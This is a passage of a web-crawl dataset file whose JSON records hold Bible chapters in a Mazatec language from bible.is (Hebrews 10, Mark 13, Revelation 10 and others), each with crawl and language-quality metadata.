xi̱ta̱ ra tsikíxáya‑la̱ Jesús.\nCopyrighted Material","id":"","dump":"CC-MAIN-2017-34","url":"http:\/\/www.bible.is\/MAASAV\/Acts\/4","date":"2017-08-24T05:10:08Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-34\/segments\/1502886133032.51\/warc\/CC-MAIN-20170824043524-20170824063524-00375.warc.gz","language":"maa","language_score":1.0000095367,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"maa_Latn_score\": 1.000009536743164}","num_words":989,"character_repetition_ratio":0.072,"word_repetition_ratio":0.0,"special_characters_ratio":0.232,"stopwords_ratio":0.374,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"17Jñà xi̱ta̱ nchi̱ná xi tjín i̱ i̱sò'nde, k'oa̱á s'ín tìnè‑la̱: \"Kì bí'nga‑la̱ ikon.\" Kì koií ma'ñót'aà ikon kjoa̱nchi̱ná xi tjín‑la̱ nga tà ni̱to̱n fehet'aà. Jè kàtama'ñót'aà ikon Nainá xi tíjnakon nga jè tsjá yije‑ná xi mochjeén‑ná skanda síkatonè‑la̱ mé‑ne nga ko̱ kjo̱tsja si̱kjeén tsojmì xi tsjá‑ná.\n1 Timoteo 6:17\nFREE!\nOne App.\n1253 Languages.","id":"","dump":"CC-MAIN-2017-34","url":"http:\/\/www.bible.is\/MAASJV\/1Tim\/6\/17","date":"2017-08-17T10:14:13Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-34\/segments\/1502886103167.97\/warc\/CC-MAIN-20170817092444-20170817112444-00429.warc.gz","language":"maa","language_score":0.9999682903,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"maa_Latn_score\": 0.9999682903289795}","num_words":51,"character_repetition_ratio":0.07,"word_repetition_ratio":0.0,"special_characters_ratio":0.26,"stopwords_ratio":0.294,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Jè kjo̱téxoma‑la̱ Nainá ra itjábé‑la̱ Moisés, mì tsa ngi jè kjòn‑ni jè kjo̱nda ra a̱skan tjínè‑la̱ nga 'ji; koni ta tje̱n tsakón i̱tsé jè 'ngién‑la̱. 'Koa̱á ma‑ni nga jè kjo̱téxoma ni̱kjiá ko̱ma ngi tsje si̱ìkítsa̱hijyo jñà xi̱ta̱ ra xki̱ nó xki̱ nó síchraña'ta‑la̱ Nainá nga ti̱jñà ti̱jñà kjo̱tjò tsjá‑ni nga xki̱ nó. 2Tsa india kjón‑la jè kjo̱téxoma sítsje jñà jé‑la̱ xi̱ta̱, mí‑la ti̱ kì jñà si̱jin‑ni kjo̱bítsjen‑la̱ nga jé tjín‑la̱, ko̱ mí‑la ti̱ jní‑la̱ cho̱ tsjá kjo̱tjò‑ni. 3Tanga jè jní‑la̱ cho̱, xki̱ nó xki̱ nó síkítsjen‑yá‑la̱ jè jé ra tjín‑la̱ xi̱ta̱. 4Nga̱ jè jní‑la̱ nchra̱ja̱ ko̱ jè jní‑la̱ tíndsó mì kì ma‑la̱ faháxìn jñà jé‑la̱ xi̱ta̱. 5'Kia̱ nga 'ji Cristo i̱ i̱sà'nde, kitsò‑la̱ Nainá: Majìn‑li jní‑la̱ cho̱ ra biya, ko̱ kjo̱tjò ra tsjá‑li xi̱ta̱, tanga jé ijo‑na̱ iníkíjnandi. 6Mì kì sasén‑li nga cho̱ tì‑li, ko̱ ni̱jñà kjo̱tjò ra tsjá‑li ra a̱'ta 'tse̱ jé‑la̱ xi̱ta̱. 7'Kia̱á kíchjà nga kíxin‑la: \"Koni 'sín tíchja̱ xa̱jo̱n‑li ra a̱'ta tsa̱'a̱n, i̱í tíjna̱ nga sìhitjásòo̱n koni 'sín mejèn‑li ji̱ ra Nainá 'mì‑li.\" 8Jè Cristo, ki̱í 'sín kitsò nga ítjòn: \"Mì kì kjomejèn‑li ti̱'koa̱ mì kì kisasén‑li jní‑la̱ cho̱ ra biya ko̱ kjo̱tjò ra tsjá‑li xi̱ta̱, ko̱ cho̱ ra baká‑li xi̱ta̱ ko̱ kjo̱tjò ra tsjá‑li ra a̱'ta 'tse̱ jé‑la̱\", ni̱'sín takó ko̱'sín tíchja̱ kjo̱téxoma nga tjíné‑la̱ nga ko̱tjín ra tsjá xi̱ta̱. 9A̱kjòn kitsò‑isa: \"I̱í tíjna̱ i̱jndíi̱ mé‑ni nga sìhitjásòn‑na koni 'sín mejèn‑li.\" Kií tsò‑ni jñà 'én kìi̱ nga jè Cristo tsjahíxìn jè kjoa̱ ra tíjna ítjòn mé‑ni nga kisíkíjna‑ni jè kjoa̱ ra xi̱tse̱. 10'Koa̱á 'sín kjomà‑ni nga isìtsje inìma̱‑ná Nainá a̱'ta 'tse̱ Na̱'ín‑ná Jesucristo 'kia̱ nga isìhitjasòn koni 'sín kjomejèn‑la̱ Nainá nga ta india kjón‑ní kitsjà ijo‑la̱ skanda ta kjiá‑nioo̱ koni jngo kjo̱tjò 'kia̱ nga 'ken. 11Nga'tsì na̱'mì, ni̱chjin nchijòn i̱nchisíhitjasòn xá‑la̱ nga 'ñó kjìn 'ka̱ ti̱jè ti̱jè kjo̱tjò sínga̱tsja‑ni Nainá, jñà kjo̱tjò ra ni̱kjiá ma‑la̱ faháxìn jé‑la̱ xi̱ta̱. 12Tanga jè Jesucristo, ta jngo 'ká kjón‑ní kitsjà kjo̱tjò ijo‑la̱ skanda ta kjiá‑nioo̱ ra ta nga̱tjì‑la̱ kjoa̱ 'tse̱ jé; ra ijye kjomà, a̱kjòn ya̱á tsikijna'ta ya̱ nga kixi̱‑la̱ Nainá. 13Ya̱á tíkoñá skanda 'kia̱ nga jñà xi̱ta̱ kondra̱‑la̱ si̱ìjchija nga jè Nainá si̱ìkíjyongí ya̱ ndsa̱ko̱. 14Nga̱ ta india kjón‑ní kitsjà kjo̱tjò ijo‑la̱ mé‑ni nga ngi nda kjòkixi̱ya‑ni skanda ta kjiá‑nioo̱ jñà xi̱ta̱ ra i̱nchimatsje. 15Jè Inìma̱ Tsje‑la̱ Nainá ndaá síkixi̱ya‑ná 'kia̱ nga kitsò ítjòn: 16Jè kjoa̱ ra̱kìi̱ ra kindájín‑ko̱ jñà xi̱ta̱ 'kia̱ nga ko̱ma a̱skan‑nioo̱, tsò Na̱'ín‑ná: Jñà kjo̱téxoma‑na̱, ya̱á kindá'tá inìma̱‑la̱, ko̱ ya̱á kijiáa̱n ya̱ a̱jin kjo̱bítsjen‑la̱. 17Ko̱ tsò‑isa: Ni̱ì‑ti̱‑kjiá síkítsjen‑yá india‑na jñà jé‑la̱, ko̱ nga'tsì kjoa̱'cho ra ki'sìn. 18'Kia̱ nga ijye inìhijcha'ta‑ná jé‑ná mì kì ti̱ machjeén‑ni nga jní xa̱ájten ra kjoa̱ 'tse̱ jé. 19'Koa̱á ma‑ni jiòn ndí 'ndsé, ta nga̱tjì‑la̱ jní ra tsikíxten Jesús, tjí'nde‑ná nga ma ki̱tjáha̱'se̱én ya̱ I̱'nde ra Bato 'Ñó Tsje ya̱ ñánda̱ nga tíjna Nainá. 20Nga̱ jè iskí'xa̱ jngo‑ná ndi̱yá xi̱tse̱ ra fìko̱‑ná ñánda̱ nga ki̱tsa̱jnakeén mé‑ni nga ko̱ma ki̱tjáha̱'se̱én ya̱ ñánda̱ nga tja̱'bájto jè nikje ra tja̱'báya masen‑la̱ jè I̱'nde Tsje‑la̱ Nainá; nga jè nikje, jé ngoya‑la̱ ijo‑la̱ Jesús. 21Nga̱ tíjnaá jngo‑ná na̱'mì ra 'ñó jeya tíjna ra batéxoma ya̱ ni'ya‑la̱ Nainá. 22'Koa̱á ma‑ni nga machjeén‑ní nga ngi ko̱ó inìma̱‑ná si̱chraña'ta‑lá Nainá nga ngi tíjngo takén ra a̱'ta 'tse̱, 'kia̱ nga ijye kjotsje inìma̱‑ná nga'tsì ra kjo̱bítsjen 'cho ko̱ ngi nandá tsje ra kisiníjno‑ni ijo‑ná. 23Kixi̱ ki̱tsa̱jnake̱é kjoa̱ ra i̱nchichiñá‑lá koni 'sín nga bixé nga makjiín‑ná, nga mì kohíko̱jno kohíko̱'té kjo̱bítsjen‑ná; nga̱ Nainá, xi̱ta̱ kixi̱‑ní, si̱hitjasòn koni 'sín ijye kitsjá‑ná 'én‑la̱. 24Kjótsji'nde‑lá kó'sín nga ki̱si̱ke̱é jñà xàngie̱é mé‑ni nga isa̱ nda 'se̱‑ná kjo̱tsjacha ko̱ mé‑ni nga ko̱ma ko̱'sín 'sie̱én jñà kjoa̱ ra nda tjín. 25Mì kì ki̱jmié koni 'sín nga 'fìheé ya̱ ñánda̱ nga maxkóyeé koni 'sín 'sín i'ka jñà xi̱ta̱ ra ijye ko̱'sín nga‑la̱; ta isa̱á machjeén‑ní nga 'ki̱ nga'ñó‑lá jñà xàngie̱é nga jngó jngó‑ná, ko̱ isa̱á 'kia̱ nga ijyeé tí'ya‑la̱ nga tímachraña jè ni̱chjin‑la̱ Nainá. 26Nga̱ tsa xá tjín‑ni takén nga kjótsji‑jé iseé, 'kia̱ nga ijye ka'yaxkeén ra kjoa̱kixi̱ 'tse̱ Nainá, mì kì ti̱ mé jní ra ma xa̱ájten‑ni ra kjoa̱híxìn india‑ni jé‑ná. 27Ta jé chiñá-isa‑lá nga ko̱ko̱‑ná kjo̱hi'in ra 'ñó i'in tjín ko̱ jè ni'í ra sítì síjnga̱ tíma ñánda̱ nga jti̱ jñà xi̱ta̱ ra kondra̱ fì‑la̱ Nainá. 28Jè ra batonè‑la̱ jè kjo̱téxoma ra itjábé‑la̱ Moisés, tsa jò ko̱ tsa jàn xi̱ta̱ tsjá 'én nga kijtse nga kixi̱í kjoa̱, mì kì mahi̱ma̱cha‑jìn, ta ndi̱to̱ón nì'ken. 29Kó'sín be‑la̱ takòn jiòn, ¿a mí tsa isa̱ tse kjo̱hi'in bakén‑la̱ jñà xi̱ta̱ ra minchanè jè I'ndí‑la̱ Nainá ko̱ bachrjengi jè jní ra tsikíxten, ko̱ ti̱'koa̱ chja̱jno‑la̱ jè Inìma̱ Tsje‑la̱ Nainá ra tsjá‑ná kjo̱nda? Jè jní ra bachrjengi, jè‑ní ra Nainá isìchjeén nga tsikíndajín‑ko̱ xi̱ta̱ jngo kjoa̱ ra xi̱tse̱, ko̱ ra kjomà kjotsje‑ni inìma̱‑la̱ xi̱ta̱ kìi̱. 30Ijyeé tjíjin‑ná nga ijyeé ko̱kitsò Nainá: \"'A̱án bako̱‑na nga tsja‑la̱ kjo̱hi'in xi̱ta̱, 'a̱án tsja‑la̱ chjí‑la̱.\" Ko̱ india‑isa tsò: \"Jé Nainá ki̱ìndajín‑la̱ jñà xi̱ta̱ na̱xi̱ndá‑la̱.\" 31¡Taxki̱ 'ñó tse kjo̱xkón tjín‑ni 'kia̱ nga ya̱ kayeé tsja Nainá ra tíjnakon! 32Tanga ti̱kítsjen kó'sín kjomà'tioòn ni̱chjin ra ijye tsatòo̱ 'kia̱ nga ti̱'sa̱ ina'yá ítjòn kjòn jè 'én kixi̱ ra isìhisen‑no nga ichìkjoa̱‑no nga tse kjo̱hi'in inikjioón. 33Ijchó ni̱chjin nga jñà xi̱ta̱ kiìchja̱jnoó‑no ko̱ iskajàn‑ko̱‑no ya̱ ngixko̱n xi̱ta̱ na̱xi̱ndá. Skanda ti̱'koa̱á ijchò jngo‑te ni̱chjin nga inìngásòn‑ko̱ó‑te jiòn jñà ra 'koa̱ ti̱'sín i̱nchisíkjiín‑te kjo̱hi'in. 34Jiòn, kjòhi̱ma̱cha‑no jñà xi̱ta̱ ra kjo̱hi'in isìkjiín jñà ra tsikìtsa̱'ya nda̱yá; ti̱'koa̱á mì tsa kjojti‑no 'kia̱ nga itja'án‑no jñà tsajmì‑no; ta isa̱á tsjaá ki'se jnchro‑no ta nga̱tjì‑la̱ nga̱ ijyeé 'ya nga ya̱ ján ngajmi tjín‑no tsajmì ra isa̱ 'ñó nda ko̱ ra mì kì fehe'ta ni̱ ta kjiá‑nioo̱. 35Kì jmio koni 'sín nga kji'ta takòn Nainá, nga̱ ya̱á 'ya kjo̱tjò ra 'ñó tse chjí‑la̱. 36Machjeén‑ní katachíkjoa̱ko̱‑no kjo̱hi'in, mé‑ni 'kia̱ nga ijye ki̱tjasòn‑no koni 'sín mejèn‑la̱ Nainá, tjábé‑no jè ra tsjá Nainá koni 'sín nga ijye kitsjà tsa'ba. 37Nga̱ 'koa̱á 'sín tíchja̱ xa̱jo̱n ra tjí'ta 'én‑la̱ Nainá nga tsò: Kj'i̱í ndi̱to̱n ndi̱to̱ón‑ní jè ra tjínè‑la̱ nga nchrabá. Mì kì ti̱ tse ki̱chjin‑ila̱. 38Jè ra xi̱ta̱ kixi̱, jé kíjnakon‑ni nga makjiín‑la̱ a̱'ta 'tse̱ Nainá. Tanga tsa í'tsi̱n ki̱ji̱‑ní, mì kì sasén‑la̱ inìma̱‑na̱. 39Jién, mì tsa í'ndsién mangí‑né koni 'sín 'sín jñà xi̱ta̱ ra í'tsi̱n fì‑ni nga síjchija ijo‑la̱. Ta isa̱á jnchro jién, nda makjiín‑ná mé‑ni nga mì jchi̱ja‑ni inìma̱‑ná.\nCopyrighted Material","id":"","dump":"CC-MAIN-2017-34","url":"http:\/\/www.bible.is\/MAASAV\/Heb\/10","date":"2017-08-17T23:46:48Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-34\/segments\/1502886104172.67\/warc\/CC-MAIN-20170817225858-20170818005858-00266.warc.gz","language":"maa","language_score":1.0000092983,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"maa_Latn_score\": 1.000009298324585}","num_words":1010,"character_repetition_ratio":0.062,"word_repetition_ratio":0.0,"special_characters_ratio":0.234,"stopwords_ratio":0.327,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1'Kia̱ nga itjo‑ni ndi̱tsin i̱ngo̱ ítjòn Jesús, jngo xi̱ta̱ ra kotá'yá'ta‑la̱ kitsò‑la̱: ―Maestro, chítsijeén‑la̱, mé ta̱ kjòn jñà na̱jo̱ ko̱ mé ta nda kjòn jñà ni'ya. 2Kitsó Jesús: ―Nda chítsijen‑la̱ nga'tsì ni'ya i'i kìi̱. Ni̱ì‑ti̱‑jngo na̱jo̱‑la̱ si̱hijyosón‑ila̱ xákjién. Ki̱xo̱jen ijyeé nga'tsiòo̱. 3'Kia̱ nga tíjna Jesús ya̱ a̱sòn'nga nindo Yá Olivo ya̱ kixi̱‑la̱ I̱ngo̱ Ítjòn, jè Pedro, Jacobo, Juan ko̱ Andrés a̱'ta xín kiìchja̱‑la̱ Jesús nga iskonangi‑la̱, kitsò‑la̱: 4―Ko̱'tín‑náji̱n, ¿kjiá‑nioo̱ nga ko̱'sín ko̱ka̱ma jñà kjoa̱ kìi̱? ¿Mé kjo̱xkón ra tsijen jcha̱‑la̱ 'kia̱ nga ijye mejèn ki̱tjasòn ijye jñà kjoa̱ kìi̱? 5Kiìchja̱á Jesús, kitsò‑la̱: ―Nda ti̱kinda̱a ijo‑no mé‑ni nga mì yá ra sko̱ónda̱cha̱‑no. 6Kjín xi̱ta̱ kj'i̱í ra jè 'í‑na̱ si̱ìchjeén nga ki̱tso̱: \"'A̱n‑ná ra Cristo [ra xá isìkasén‑na Nainá].\" Ko̱ kjín xi̱ta̱ sko̱ónda̱cha̱‑la̱. 7'Jiòn, 'kia̱ nga ki̱ná'ya‑la nga jndíi̱ ra ján tjín kjo̱jchán, kì tà chjàn skon; xá 'koa̱á 'sín ka̱ma‑ni, tanga kjè tsa ngi kje̱ kjòn jè i̱sà'nde. 8Nga̱ ki̱ì'tsia̱á‑la̱ kjo̱jchán xákjién jñà ra xi̱ta̱xá ítjòn títsa̱jna ra i̱nchibatéxoma ya̱ na̱xi̱ndá i'i ra tjín i̱ i̱sà'nde nga ska̱jàn‑kjo. Ko̱ jndíi̱ ra ján 'koa̱ chón ta nga tíjngo i̱sà'nde; ko̱ 'se̱é kjinchrá. Jñà kjoa̱ kìi̱, ta jé‑ní ra ma'tsia̱‑ni ta nga'tsì kjo̱hi'in ra 'se̱. 9'Nda ti̱kinda̱a ijo‑no, nga̱ ya̱á ska̱nì'ta‑no xi̱ta̱ ñánda̱ nga tjíhijyo xi̱ta̱xá. Ska̱jàn‑ko̱ó‑no xi̱ta̱ ya̱ a̱ya ni'ya sinagoga ñánda̱ nga maxkóya xi̱ta̱ Judío. Ko̱ i̱ko̱ó‑no ya̱ ngixko̱n xi̱ta̱xá ra batéxoma ko̱ ñánda̱ nga tjíhijyo xi̱ta̱xá ítjòn, tà nga̱tjì‑la̱ ra a̱'ta tsa̱'a̱n. Jión 'kio̱ò 'én a̱'ta tsa̱'a̱n. 10Machjeén‑nì nga ítjòn ko̱bísòn 'én xi̱tse̱‑la̱ Cristo ra nda tsò nga tjíjtsa i̱sà'nde. 11'Kia̱ nga i̱ko̱‑no nga si̱ìnga̱tsja‑no ya̱ ngixko̱n xi̱ta̱xá, kì makájno‑no kó'sín ki̱nákjoa̱a. Kì jiòn níkítsjen, nga̱ 'koa̱á 'sín ki̱nákjoa̱a koni 'sín nga ki̱tso̱‑no Nainá, mì tsa jiòn kí'tin‑la ijo‑no mé 'én ra ki̱nákjoa̱a, jé Inìma̱ Tsje‑la̱ Nainá ra ki̱chja̱ ngajo‑no. 12Jñà ni̱chjin kìi̱, jè ra tjín 'ndse̱, ti̱jé 'ndse̱ si̱ìnga̱tsja‑ni ya̱ ñánda̱ nga katani'ken; jè ra na̱'ìn ma, ti̱jé si̱ìnga̱tsja‑ni ti‑la̱ nga katabiya; jñà ra i̱xti ma, jñá si̱ìnga̱tsja na̱'ìn‑la̱ ya̱ ñánda̱ nga katani'ken‑te. 13Nga'tsì xi̱ta̱ ko̱jtikeé‑no ra ta nga̱tjì tsa̱'a̱n. Tanga jè ra chíkjoa̱‑la̱ nga kixi̱ ko̱se̱n skanda 'kia̱ nga kje̱he'tà jñà kjoa̱ kìi̱, jè‑ní ra ko̱tojin kjo̱hi'in. 14'Tanga 'kia̱ nga jcha̱a ya̱ i̱'nde tsje‑la̱ Nainá, kjoa̱ tjé ra ko̱ka̱ma ra 'ñó 'cho tjín ñánda̱ mì kì bakèn‑la̱ nga ko̱'sín ko̱ma, [koni 'sín kitsò Daniel xi̱ta̱ ra isìchjeén Nainá nga kiìchja̱ ngajo‑la̱]. (Ndaá katasijin‑la̱ jñà xi̱ta̱ ra ma‑la̱ kotá'yá xa̱jo̱n.) 'Kia̱ nga ko̱ka̱ma jñà kjoa̱ kìi̱, jñà ra títsa̱jna ya̱ Judea, kata'fahachinga; ya̱ katafì ya̱ a̱sòn nindo ján. 15Jè ra ya̱ tíjna ya̱ a̱sòn'nga ni'ya‑la̱, kì tà chjàn bitjojen‑ni; kì tà chjàn 'faha'sen ni'ya‑la̱ nga mejèn‑la̱ mé ra ska̱ábé; 16ko̱ jè ra ya̱ tsá'bajin nangi‑la̱, kì tà chjàn nchrabá‑ni ya̱ ni'ya‑la̱ nga ki̱íxkó jñà nikje‑la̱. 17¡I̱ma̱‑ró‑ni jñà ndí íchjín ra i'ndí tjíhi'ma‑la̱ ko̱ ra i̱nchisíjchá i̱xti‑xó jñà ni̱chjin kìi̱! 18Titsa'ba‑la Nainá nga mì 'kia̱ ko̱katama 'kia̱ nga ni̱chjin‑la̱ cho̱ 'nchán. 19'Kia̱ nga ko̱'sín ko̱ka̱ma jñà ni̱chjin kìi̱, 'ñó tse kjo̱hi'in 'se̱, ra kjè sa india ko̱ma skanda 'kia̱‑ni nga tsikínda i̱sà'nde Nainá skanda 'ndi̱‑ni̱, ko̱ ni̱ì‑ti̱‑kjiá ko̱ka̱ma‑ni a̱skan‑nioo̱. 20Tsa mí‑la jè Nainá kjo̱híxìn chiba jñà ni̱chjin kìi̱, ni̱yá‑la xi̱ta̱ ra ko̱tojin kjo̱hi'in. Tanga jè Nainá kjo̱híxìn chiba jñà ni̱chjin kìi̱, ta nga̱tjì‑la̱ jñà xi̱ta̱‑la̱ ra ijye ko̱'sín tjínda‑la̱ nga jè tsjahíjin. 21''Kia̱ nga tsa yá ra ki̱tso̱‑no: \"¡Chítsijen‑la, i̱í tíjna Cristo [ra xá isìkasén‑ni Nainá]!\", ko̱ tsa ki̱tso̱‑no: \"¡Chítsijen‑la, ya̱á tíjna ján!\", kì tà chjàn makjiín‑no. 22Nga̱ xá kj'i̱í i'ka‑ni ra ta xi̱ta̱ ndiso, ra Cristo ki̱tso̱‑la̱ ijo‑la̱ ko̱ ra ki̱tso̱ nga jñá síchjeén Nainá nga chja̱ ngajo‑la̱. Kjín kjo̱xkón ra tse nga'ñó tji̱ko̱ ko̱kòn ko̱ si̱ìkatsíjen, ra skanda sko̱ónda̱cha̱á‑la̱ jñà xi̱ta̱ ra ijye tsjahíjin Nainá tsa ma ra si̱ìko̱. 23Ti̱kinda̱a ijo‑no. Nga̱ ijyeé tje̱n tí'bènájmí ijye‑no nga'tsì kjoa̱ kìi̱. 24''Kia̱ nga ijye ko̱ma a̱skan‑nioo̱, nga ijye ko̱to ni̱chjin 'tse̱ kjo̱hi'in, jè tsá'bí ko̱jñó‑ní, ko̱ jè sá mì ti̱ kì ko̱hisen‑ni. 25Jñà nitse ska̱tsangi‑ní. Ko̱ jñà nga'ñó ra tjín ján ngajmi, ko̱jtiyaá‑la̱. 26A̱kjòn jcha̱‑na ra 'a̱n ra I'ndí‑la̱ Xi̱ta̱ xin‑la̱ ijo‑na̱, nga kji̱nchrabàjìa̱n ya̱ a̱jin ifi, tseé nga'ñó ko̱ tseé kjoa̱jeya ra tsa̱'a̱n kjíhi̱ko̱ 'kia̱ nga kjí'ia̱. 27Sikásén‑na jñà ìkja̱li̱‑na̱ nga ki̱íxkóya xi̱ta̱‑na̱ ra ijye 'a̱n tsjahíjia̱n, ya̱ kóo jngo tjandi‑la̱ i̱sà'nde ko̱ nangi. 28'Chítsijen‑la jè yá‑la̱ to igo̱ mé ra bakón‑ya‑ná; 'kia̱ nga jñà chrja chí'ndé‑la̱ bí'tsia̱ nga bí'jtsén‑jno, ijyeé 'ya nga tímachrañaá cho̱ ndabá. 29'Koa̱á ti̱'sín tjín, 'kia̱ nga jcha̱a nga ko̱ka̱ma jñà kjoa̱ kìi̱, katamachi̱yaá‑no nga ijyeé tímachraña ni̱chjin; ijyeé ya̱ síjna̱'ta chraña‑no 'a̱n ra I'ndí‑la̱ Xi̱ta̱ xian‑la̱ ijo‑na̱ koni jngo xi̱ta̱ ra ya̱ síjnajto ya̱ xo̱tjo̱ba̱ ni'ya. 30'Koa̱á xin kixi̱‑no, ti̱kjeé biya‑ni xi̱ta̱ ra tjín ni̱chjin 'ndi̱ 'ndi̱ nga ki̱tjasòn ijye nga'tsì kjoa̱ kìi̱. 31Jè ngajmi ko̱ jè i̱sà'nde jchi̱jaá‑la; tanga jñà 'én‑na̱, mì kì tsa ta ya̱ jcha̱àjin, ki̱tjasòn ijye‑ní. 32'Tanga jè ni̱chjin ko̱ jè hora 'kia̱ nga ko̱'sín ko̱ka̱ma, ni̱yá ra tjíjin‑la̱; ni̱jñà ìkja̱li̱ 'tse̱ Nainá ra tjín ya̱ ngajmi; skanda mí bee̱ 'a̱n ra I'ndí‑la̱ ma; ta̱jngoó Nainá ra Na̱'ín‑ná tjíjin‑la̱. 33'Ti̱kinda̱a ijo‑no, ti̱tsa̱jnakon, titsa'ba‑la Nainá, nga̱ mì tsa jiòn tjíjin‑no kjiá‑ni nga ko̱'sín ko̱ka̱ma. 34'Koa̱á 'sín tjín koni tsa jngo xi̱ta̱ ra kjin kijì, isìnga̱tsja ni'ya‑la̱ xi̱ta̱ chi̱'nda‑la̱. Kitsjá‑la̱ xá nga jngó jngó; kitsò‑la̱ jè ra síkinda̱ xo̱tjo̱ba̱‑la̱ ni'ya: \"Ti̱jni, kì tsjajnafè‑jìn.\" 35'Koa̱á 'sín ti̱tsa̱jnakon nga'tsì‑no, nga̱ mì kì tjíjin‑no jè ni̱chjin 'kia̱ nga kj'i̱í‑ni ni‑la̱ ni'ya. ¿A tímajñó 'ki̱í‑nì o̱ ra 'kia̱á 'ki̱í‑ni 'kia̱ nga ki̱jchò masen ni̱tje̱n o̱ ra 'kia̱‑ní nga ski̱ndaya káxtí o̱ ra 'kia̱á‑ní nga ijye tí'se i̱sén? 36Kì tsjahijyofè jiòn, ti̱tsa̱jnanda tsa kií ni̱chjin‑ni tà ndi̱to̱ón 'ji‑ni ni‑la̱ ni'ya. 37Koni 'sín xin‑no ra jiòn, 'koa̱á ti̱'sín xin‑la̱ nga'tsì xi̱ta̱: \"Nda ti̱tsa̱jnakon.\"\nCopyrighted Material","id":"","dump":"CC-MAIN-2017-34","url":"http:\/\/www.bible.is\/MAASAV\/Mark\/13","date":"2017-08-22T09:56:23Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-34\/segments\/1502886110573.77\/warc\/CC-MAIN-20170822085147-20170822105147-00019.warc.gz","language":"maa","language_score":1.0000077486,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"maa_Latn_score\": 1.0000077486038208}","num_words":917,"character_repetition_ratio":0.058,"word_repetition_ratio":0.0,"special_characters_ratio":0.237,"stopwords_ratio":0.305,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ìjngoò àkja̱le̱ kìjtseè‑ìsa xi tjín‑la̱ nga'ñó xi tínchrobájen‑ne ngajmiì nga ifi tsátijno; jè sko̱ kijnasòn jngoò i̱jñe̱; i̱sén‑la̱ k'oa̱á kji koni ts'oí; jñà ndso̱ko̱ k'oa̱á s'ín tsejèn koni tsà ni'ín xi ncha kixi̱ nga títì. 2Kjinaya tsja jngoò xo̱jo̱n xi jtobá kji xi jye kitjájnda̱ya. Jè ndso̱ko̱ kixi̱ tsasíjnajiìn ya̱ ndáchikon ko̱ jè ndso̱ko̱ ngaskón tsasíjnasòn nangui. 3K'oa̱á s'ín 'ñó kiìchja̱ koni tsò xa k'e̱ nga kjindáya; k'e̱ nga jye kiìchja̱, itoò ch'o̱n kina'yà jta̱‑la̱ nga ti̱koa̱ kiìchja̱. 4K'e̱ nga jye jane ch'o̱n xi itoò kits'iìn, 'a̱n tìjna̱ndaà‑ná nga mejèn‑na skiìjno jngoaà xo̱jo̱n, ta̱nga ki'nchrè jngoò‑la̱ jta̱ xi ngajmiì inchrobà‑ne xi kitsò‑na: ―Jñà 'én xi kàchja̱ ch'o̱n xi itoò kats'iìn, 'maá ti̱kíjni; kì xo̱jo̱ón bìt'iì. 5Jè àkja̱le̱ xi 'a̱n kìjtseè nga ya̱ síjnajiìn jngoò ndso̱ko̱ ndáchikon ko̱ xi ìjngoò ndso̱ko̱ ya̱ síjnasòn nangui, kiskímiì'nga tsja kixi̱ ján ngajmiì, 6kitsjaà 'én‑la̱ i̱t'aà ts'e̱ Nainá xi tíjnakon ni̱ta̱ mé na̱chrjein‑ne, jè xi tsibíndaà ngajmiì, nangui ko̱ ndáchikon, ngats'iì tsojmì xi ya̱ tjín, kitsò: ―Mì ti̱ kiì s'e̱ ìsa̱‑ne na̱chrjein. 7K'e̱ nga ki̱chóya na̱chrjein‑la̱ nga koi̱ìts'ia̱ jè àkja̱le̱ xi ma‑ne itoò nga si̱ìkjindáya chrjo‑la̱, jè kjoa̱'ma‑la̱ Nainá ki̱tasòn‑né koni s'ín kitsò jñà xi̱ta̱ chi̱'nda‑la̱ xi kiìchja̱ ngajo‑la̱. 8Jè jta̱ xi ki'nchrè ítjòn‑la̱ xi ngajmiì inchrobà‑ne, ìjngoò k'a kiìchja̱‑na kitsò: ―T'in, chjoí jè xo̱jo̱n xi jtobá kji xi jye kitjájnda̱ya nga kjinaya tsja jè àkja̱le̱ xi síjnakixi̱ i̱sòn ndáchikon ko̱ i̱sòn nangui. 9Kiìkoa̱an jè àkja̱le̱, kixan‑la̱: ―Tjiì‑ná jè xo̱jo̱n jtobá xi kjinaya ndsei̱i. Kitsò‑na: ―Chjoí, i̱kjoàn chi̱ni̱i; ján i̱ya i̱ndso̱'boì ko̱tsjaya‑né, ta̱nga ya̱ i̱'a ndso̱boi, ixiì ko̱ma‑lè koni tsà tsjén. 10Kiskoé jè xo̱jo̱n xi kjiya tsja jè àkja̱le̱. K'e̱ nga kiskíne̱e, kisìhixiì'á ndso̱ba koni tsà tsjén; ta̱nga ján i̱ya i̱ndso̱'bà kjòtsja‑né. 11Ki'mì‑na: ―Mochjeén‑né nga ìjngoò k'a ki̱nókjoa̱ya ngajo‑la̱ Nainá mé kjoa̱ xi ko̱mat'in jñà xi̱ta̱ xi kjìn na̱xa̱ndá nchrobá‑ne ko̱ xi kjìn nangui chja̱‑ne ko̱ xi kjìn sko̱ya 'én chja̱, ko̱ mé kjoa̱ xi ko̱mat'in xi̱ta̱xá ítjòn xi tjín i̱sò'nde.\nCopyrighted Material","id":"","dump":"CC-MAIN-2017-34","url":"http:\/\/www.bible.is\/MAASJV\/Rev\/10","date":"2017-08-19T23:11:29Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-34\/segments\/1502886105927.27\/warc\/CC-MAIN-20170819220657-20170820000657-00453.warc.gz","language":"maa","language_score":0.999986887,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"maa_Latn_score\": 0.9999868869781494}","num_words":318,"character_repetition_ratio":0.056,"word_repetition_ratio":0.0,"special_characters_ratio":0.217,"stopwords_ratio":0.283,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1K'oa̱á 